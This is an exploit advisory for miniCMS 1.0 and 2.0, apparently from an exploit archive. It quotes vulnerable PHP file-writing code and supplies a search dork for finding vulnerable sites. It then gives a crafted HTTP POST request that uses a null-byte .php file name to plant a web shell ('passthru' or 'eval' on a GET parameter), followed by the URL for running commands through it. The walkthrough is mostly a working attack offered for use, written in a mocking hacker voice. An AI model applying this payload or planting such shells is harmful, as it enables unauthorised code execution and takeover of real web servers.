miniCMS 1.0 / 2.0 Code Execution

`########################################################################  
# Title : miniCMS v1.0 : v2.0 php inject code  
# Author : Or4nG.M4n  
# Version : all version  
# GDork : "This site is managed using MiniCMS©"  
# Download : http://sourceforge.net/projects/mini-cms/files/mini-cms/  
# Thnks :  
# +----------------------------------+  
# | xSs m4n i-Hmx h311 c0d3 | sp. Cyb3r-Crystal  
# | SarBoT511 ahwak2000 sa^Dev!L | sp. ahwak2000  
# +----------------------------------+  
# php code injection and bypass addslashes();  
# vuln : update.php shell path /content  
# vuln : updatenews.php shell path /content/news  
  
$filename = "content/".$pagename.".txt"; <= .php%00  
  
if ($file = fopen($filename, "w"))  
{  
//chmod($filename, 0777);  
if($pagename == "sitemap"){  
$eachline = split("\n", $postTemp["content"]);  
$cleancontent = "";  
foreach($eachline as $el){  
if(trim($el) != ""){  
$cleancontent .= trim($el) . "\n";  
}  
}  
$postTemp["content"] = $cleancontent;  
}  
//$postTemp["content"] = str_replace('"', '\"', $postTemp["content"]);  
if (!get_magic_quotes_gpc()) {  
$postTemp["content"] = addslashes($postTemp["content"]);  
}  
fwrite($file, serialize($postTemp));  
fclose($file);  
}  
else  
{  
echo "Unable to open file for writing, please check permissions on content directory";  
}  
}  
else  
{  
$filename = "content/".$area.".txt"; < = .php%00  
if ($file = fopen($filename, "w"))  
{  
chmod($filename, 0777);  
//$postTemp["content"] = str_replace('"', '\"', $postTemp["content"]);  
fwrite($file, $postTemp["content"]);  
fclose($file);  
}  
How i can Use this Exploit  
in your Browser FireFox  
use add on LIVE HTTP HEADER  
  
in target page [ http://localhost/miniCMS-2.0/index.php?page=1 ] ..  
Replay to :  
POST : http://www.cmtsystem.com/mCMS/update.php  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip, deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Connection: keep-alive  
Referer: http://localhost/miniCMS-2.0/index.php?page=1  
Cookie: miniCMSdemo=32b5075aba3eb6c5d11129ec114346c2  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 47  
Post this shit : title=1&metadata=1&content=[CODE]&page=thnks-ahwak2000-cyber-crystal.php%00&area=content  
Add Your code php here : [CODE]  
Now how i can bypass addslashes(); inject <?php passthru($_GET[cmd]);?> or <?php eval($_GET[cmd]);?>  
Don't Forget Referer : http://site/index.php?page=1  
[ ! ] http://site/content/thnks-ahwak2000-cyber-crystal.php?cmd=uname-a  
# Thnks to all Stupid Coder  
# The End  
  
`